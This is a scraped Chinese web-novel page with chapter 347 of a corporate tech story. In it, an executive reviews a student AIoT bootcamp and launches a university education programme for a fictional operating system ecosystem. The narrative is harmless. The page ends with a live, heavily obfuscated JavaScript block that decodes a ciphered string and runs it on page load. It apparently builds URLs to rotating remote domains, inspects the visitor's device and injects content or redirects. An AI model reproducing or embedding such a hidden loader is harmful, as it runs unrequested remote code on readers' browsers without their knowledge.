首页
第347章 天枢生态在教育领
返回
关灯 护眼:关 字号:小

第347章 天枢生态在教育领域的深耕

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    合城产业园的东南角,有一栋不起眼的四层楼房,外墙刷着浅灰色的涂料,门口立着一块石碑,上面刻着「合城产学研联合体」七个字。这栋楼是三个月前才交付使用的,建筑面积八千平方米,内有六个联合实验室丶十二个实训教室丶以及一个可容纳三百人的学术报告厅。每周一到周五,来自六所高校的近百名研究生在这里上课丶做实验丶参与未来科技的实际项目。周末,这里会举办各种技术沙龙和开发者培训。
    赵静站在二楼的一间实训教室里,面前坐着三十多个年轻人,大部分是附近高校的硕士研究生,也有几个博士。今天是天枢生态教育计划的第一期「AIoT开发实战训练营」的结业答辩日。这些学生在过去八周里,用天枢OS和小芯的AI能力,完成了从需求分析到原型开发的完整项目周期。项目主题涵盖了智能家居丶智慧农业丶工业巡检丶健康监测等多个领域。
    赵静不是第一次面对学生,但今天她的心情有些不同。天枢生态要真正扎根,不能只靠开发者的自发参与,更需要有组织丶有体系的人才培养机制。过去几个月,天枢生态的开发者数量虽然在快速增长,但高质量丶深度的开发者依然稀缺。尤其是在教育领域——如果大学生从入学开始就用天枢OS开发,毕业后自然会成为天枢生态的忠实开发者。这是一个长期战略,需要耐心,但必须从现在开始布局。
    「第一组,智能花盆项目。」训练营的助教叫出了第一个团队的名字。
    三个学生走到讲台前,中间那位戴眼镜的男生打开了PPT。他们的项目是一个基于天枢OS和小芯AI的智能花盆,可以监测土壤湿度丶光照强度丶温度,并通过小芯的端侧AI模型自动控制浇水和补光。花盆还内置了一个微型扬声器,可以用语音播报植物的生长状态。
    「我们的项目用了天权3号晶片的开发板,跑的是天枢OSLite版本。传感器数据通过天枢Home协议上传到云端,用户可以用手机App远程查看。小芯的AI模型是在开发板上离线运行的,不需要联网,保护用户隐私。」
    赵静问了一个问题:「小芯的模型是怎么训练的?」
    眼镜男生回答:「我们用未来科技开放的『小芯Micro』工具链,在PC上训练了一个轻量级的分类模型,参数量只有三十万。然后通过工具链转换成天权晶片可以运行的格式。整个开发周期用了六周,其中模型训练和调优占了四周。如果未来科技能提供更多预训练模型,开发周期可以缩短到两周。」
    赵静在笔记本上记下了「预训练模型库」这个需求。
    第二组做的是智慧农业项目——一个基于天枢OS的温室环境控制系统。学生用天枢OS连接了温度丶湿度丶二氧化碳浓度丶光照四个传感器,以及风机丶水泵丶遮阳网三个执行器。小芯的AI模型可以根据传感器数据和作物生长模型,自动调节温室环境,实现节能增产。
    项目展示结束后,赵静走到讲台前,面对所有学生。
    「今天的六个项目,质量都超出了我的预期。你们在八周内,从天枢OS零基础到完成一个完整的AIoT项目,进步非常快。但我也看到了几个共性问题——第一,小芯的工具链对初学者还不够友好,文档和示例代码需要补充。第二,天枢Home协议的设备接入流程还可以简化。第三,开发板的成本对学生来说还是偏高。」
    她顿了顿,继续说:「针对这些问题,天枢生态会在接下来两个月内推出三项措施。第一,发布『小芯教育版』工具链,专门为教学场景优化,增加可视化编程界面和丰富的示例项目。第二,简化设备接入流程,把设备配网和认证的时间从平均十五分钟压缩到三分钟以内。第三,推出『天枢教育开发板』,成本控制在两百元以内,面向高校学生半价销售。」
    台下响起了掌声。
    结业答辩结束后,赵静没有立刻离开,而是和训练营的几位讲师开了一个简短的复盘会。讲师中有未来科技的工程师,也有从高校聘请的教授。大家围坐在实训教室的圆桌旁,讨论第一期训练营的经验和不足。
    「最大的问题是学生的背景差异太大。」一位来自理工大学的教授说。「有的学生学过嵌入式开发,上手很快。有的学生连C语言都不熟练,前两周基本在补基础。下一期训练营,应该在招生时设置门槛,或者分基础班和提高班。」
    训练营的负责人丶一个叫小周的年轻工程师补充道:「还有一个问题——项目开发的硬体成本。虽然我们给每个学生提供了一套免费的天枢开发套件,但传感器和执行器需要学生自己买。一套下来少说也要五六百块,有些学生负担不起。能不能由训练营统一采购,学生借用,结业后归还?」
    赵静想了想,说:「可以。下一期训练营,硬体由训练营统一提供,学生只负责开发。成本从教育计划的预算里出。另外,小周你联系一下供应链,看能不能定制一套『天枢教育传感器包』,包含十种常用传感器和三种执行器,成本控制在两百元以内。这样学生如果想自己买,也不会太贵。」
    小周在笔记本上记了下来。
    复盘会结束后,赵静走出实训楼,穿过合城产业园的中央广场,走向另一栋楼——产学研联合体的专属大楼。这栋楼还在装修,外墙搭着脚手架,工人们正在安装玻璃幕墙。预计十二个月后才能正式投用,但六所高校的联合实验室已经在这栋楼的临时空间里运转了两个月。
    她走进临时实验室,看到几个研究生正在调试一块电路板。那是天枢OS和国产RTOS的混合系统,用于资源受限的物联网设备。一个叫小林的博士生看到她,兴奋地跑过来。
    「赵总,我们刚刚跑通了!在天权M0晶片上同时运行天枢OS的微内核和另一个国产RTOS,两个系统共享硬体资源,通过消息队列通信。这个方案可以让天枢OS进入更低端的设备,成本可以降到五十元以内。」
    赵静接过电路板,翻过来看了看。天权M0晶片只有拇指盖大小,周围焊着几个电容和电阻,布局紧凑。她问:「性能开销呢?」
    小林调出了测试数据。「天枢OS微内核占用十六K字节的ROM和四K字节的RAM,加上另一个国产RTOS的八K字节ROM和两K字节RAM,总共二十四KROM丶六KRAM。对M0晶片来说,这个资源占用可以接受。任务切换延迟增加了百分之十五,但在物联网场景下,这个延迟可以忽略。」
    「好。下周你们把这个方案整理成文档,提交给天枢生态的技术委员会评审。如果通过,我们就把它作为『天枢Nano』版本发布,专门用于超低端物联网设备。」
    小林高兴地点了点头。
    赵静在临时实验室待了半个小时,看了另外两个项目组的进展。一个项目组在做天枢OS的图形界面优化,目标是让天枢OS在低解析度屏幕上也能有流畅的交互体验。另一个项目组在做天枢OS的功耗优化,通过动态调整CPU频率和关断空闲外设,把待机功耗从五毫瓦降到了零点八毫瓦。
    这些项目都是产学研联合体的成果。六所高校的教授和学生,在未来科技的工程师指导下,参与真实的产品研发。学生的论文题目来自实际需求,研究成果直接进入产品线。这种模式,比单纯的校企合作要深得多。
    下午两点,赵静回到芯谷,参加天枢生态教育计划的战略研讨会。会议室在旧楼三层,方程丶苏黛丶以及教育产品线的负责人都在。
    方程先开场。
    「天枢生态教育计划,过去三个月的主要工作是两件事——第一,和六所高校建立产学研联合体,培养五十名硕博士。第二,举办第一期AIoT开发实战训练营,覆盖三十名学生。这两件事都完成了,但规模太小。天枢生态要真正在教育领域扎根,需要更大规模的投入和更系统的规划。」
    他调出了一张PPT,上面写着「天枢生态教育计划2.0」几个大字。
    「教育计划2.0的核心目标——在未来十二个月内,覆盖一百所高校,培养两千名深度开发者,影响五万名学生。具体措施有五条。」
    「第一,课程共建。和高校合作开发『天枢OS应用开发』『小芯AI编程』『天枢Home物联网』三门课程,纳入计算机丶电子丶自动化等专业的选修课体系。课程教材由未来科技的工程师和高校教授联合编写,未来科技负责提供实验平台和开发板。」
    「第二,师资培训。每年举办两期『天枢生态师资培训班』,每期培训一百名高校教师。培训内容包括天枢OS架构丶小芯AI工具链丶天枢Home协议丶以及项目式教学方法。培训费用由未来科技承担,教师只需要出路费。」
    「第三,学生竞赛。联合华夏计算机学会,举办『天枢杯』全国大学生AIoT创新大赛。每年一届,分初赛丶复赛丶决赛三个阶段。奖金总额一百万元,优秀作品可以获得未来科技的孵化支持。」
    「第四,开放实验室。在合城丶芯谷丶以及全国五个区域中心,建立『天枢开放实验室』,向高校师生免费开放。实验室配备天枢开发套件丶测试仪器丶以及技术支持人员。学生可以预约使用,做课程设计丶毕业设计丶或者创新项目。」
    「第五,实习就业。每年从合作高校中选拔两百名优秀学生,到未来科技实习。实习表现优异者,直接发录用通知书。同时,建立『天枢生态人才库』,向生态合作夥伴企业推荐毕业生。」
    方程讲完,苏黛问了一个问题:「教育计划2.0的总预算是多少?」
    方程调出了预算表。「课程共建,需要投入三十名工程师和十名课程设计师,折合人力成本每年一千两百万。师资培训,每年两期丶每期一百人,每人成本五千元,总计一百万元。学生竞赛,奖金加组织费用,每年两百万元。开放实验室,五个区域中心的场地租赁和设备采购,每年一千万元。实习就业,两百名学生的实习工资和差旅补贴,每年四百万元。加上其他杂项,总预算大约三千万。」
    苏黛在笔记本上记下了这个数字,然后说:「三千万不是小数目。陈醒批了吗?」
    方程回答:「陈醒上周已经批了。他说教育是长期投资,三千万花出去,三五年后才能看到回报。但如果不花,天枢生态永远只能靠自然增长,永远成不了气候。」
    赵静补充了一句:「而且教育计划不只是培养开发者,也是在培养未来的用户。学生在学校用惯了天枢OS,毕业了自然会优先考虑天枢生态的设备。这个用户粘性,比花多少钱打GG都强。」
    苏黛点了点头,没有再追问。
    研讨会进行了两个小时,讨论了教育计划2.0的每一个细节。课程共建的具体内容丶师资培训的讲师安排丶学生竞赛的赛题设置丶开放实验室的选址丶实习就业的选拔标准,每一样都过了一遍。
    会议结束时,方程做了总结。
    「教育计划2.0,下周正式启动。赵静负责整体协调,课程共建由教育产品线牵头,师资培训由技术培训部负责,学生竞赛由市场部配合,开放实验室由行政部选址,实习就业由人力资源部对接。每两周向我汇报一次进度。」
    所有人点头。
    散会后,赵静和方程留了下来。两人坐在会议室里,窗外的阳光透过百叶窗,在地板上投下一道道光影。
    「方程,你觉得教育计划2.0最大的挑战是什么?」赵静问。
    方程想了想,说:「不是钱,不是资源,是高校的积极性。我们的课程要进入高校的选修课体系,需要院系领导同意丶教务处审批丶学分认定,一套流程走下来至少要半年。有些高校对校企合作有顾虑,怕被说成『给企业培养打工仔』。这个观念问题,比技术问题难解决。」
    赵静说:「这个问题,我和苏黛讨论过。我们的策略是——先和那些对校企合作持开放态度的高校合作,做出样板。等样板成功了,其他高校看到效果,自然会跟上来。另外,我们的课程要强调『基础理论+产业实践』,不是单纯教学生怎么用天枢OS,而是通过天枢OS的案例,讲解作业系统丶编译器丶人工智慧的底层原理。这样高校就不会有顾虑了。」
    方程点了点头。「这个思路对。我们不是给企业培养打工仔,是给行业培养懂技术丶能创新的人才。天枢OS只是一个载体,不是目的。」
    赵静站起来,走到窗前。
    窗外,芯谷的广场上,一群穿着统一T恤的学生正在拍照。那是另一批来参观的学生,T恤上印着「未来科技夏令营」的字样。他们在追光厂房前合影,笑得很开心。
    赵静想起自己上大学的时候,学校的嵌入式课程用的还是二十年前的教材,开发板是老师自己焊的,代码是手写的汇编。那时候,她做梦也想不到,有一天自己会参与编写大学的教材,会亲手把最新的技术带进课堂。
    她的终端震动了,是小芯推送的一条消息。
    「天枢生态开发者数量更新:注册开发者五十四万三千人,比昨天增加两百人。教育计划2.0启动后,预计开发者增长速度会提升百分之三十。」
    赵静看完消息,没有回覆。
    她转身走出会议室,沿着走廊走向电梯。经过天罡生态办公室时,她看到方程在和几个工程师讨论天罡企业版的功能定稿。经过晶片设计区时,她看到章宸的团队在调试天罡2号的仿真模型。经过追光实验室时,她透过玻璃窗看到梁志远在记录追光Mini的热循环测试数据。
    每一盏灯都在亮着,每一条线都在往前推。
    赵静走进电梯,按了一楼。
    电梯门关上,数字在跳动。
    三楼,会议室——白板上还留着方程画的教育计划2.0框图。
    二楼,实验室——小林在调试天枢Nano的代码。
    一楼,大厅——几个学生在参观,好奇地看着墙上的专利证书。
    电梯到了一楼,门开了。
    赵静走出去,穿过大厅,推开门。
    阳光照在脸上,有些刺眼。她眯起眼睛,看到广场上那批参观的学生正在排队上车。一个女生跑过来,手里拿着一本笔记本。
    「赵总,能给我签个名吗?我是您粉丝,也是天枢生态的开发者。」
    赵静愣了一下,然后接过笔记本,在上面写了一句话:「保持好奇,持续创造。」然后签了自己的名字。
    女生高兴地跑了回去。
    赵静看着她的背影,嘴角浮起一丝微笑。
    这就是教育计划的意义——不是为了培养多少开发者,而是为了让更多的年轻人,有机会接触最前沿的技术,有机会用自己的双手去创造未来。
    她的终端又震动了,这次是苏黛发来的消息。
    「赵静,教育计划2.0的预算,财务那边需要更细的分解。明天下午三点,财务部会议室,你把各项目的费用明细带上。」
    赵静回复:「好。」
    她收起终端,走向停车场。
    今天,她完成了一件重要的事——在天枢生态的土壤里,播下了一颗种子。
    这颗种子会慢慢发芽丶生长丶开花丶结果。
    也许要三年,也许要五年。
    但当那一天到来时,天枢生态会收获一片森林。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();